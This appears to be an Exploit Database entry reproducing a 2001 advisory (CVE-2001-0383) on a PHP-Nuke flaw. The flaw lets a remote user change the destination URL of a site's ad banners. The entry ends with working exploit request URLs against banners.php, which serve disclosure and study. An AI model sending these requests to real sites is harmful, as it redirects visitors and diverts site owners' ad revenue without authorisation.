PHP-Nuke 1.0/2.5/3.0/4.x - Remote Ad Banner URL Change

Author: Juan Diego
type: webapps
platform: php
port: 
date_added: 2001-04-02 
date_updated: 2012-08-22 
verified: 1 
codes: CVE-2001-0383;OSVDB-1781 
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source: https://www.securityfocus.com/bid/2544/info

PHP-Nuke is a website creation/maintainence tool written in PHP3.

A PHP-Nuke feature supporting cycling ad banners is subject to interference from a remote user.

A querystring can be submitted to an unpatched server which allows the remote user to specify a new destination URL to be opened in a visitor's browser upon clicking a PHP-nuke site's ad banner.

By changing the click-through destination of a banner ad, an attacker could interfere with the target's ad-based revenue generation.

To change the url of the first banner you should enter in your browser

http://target/banners.php?op=Change&bid=bannerid&url=http://where.to

if we want to change the banner number 1 to redir to

www.you_are_redir

we write

http://www.example.com/banners.php?op=Change&bid=1&url=http://you.are.redir

(where www.example.com is the server running php-nuke)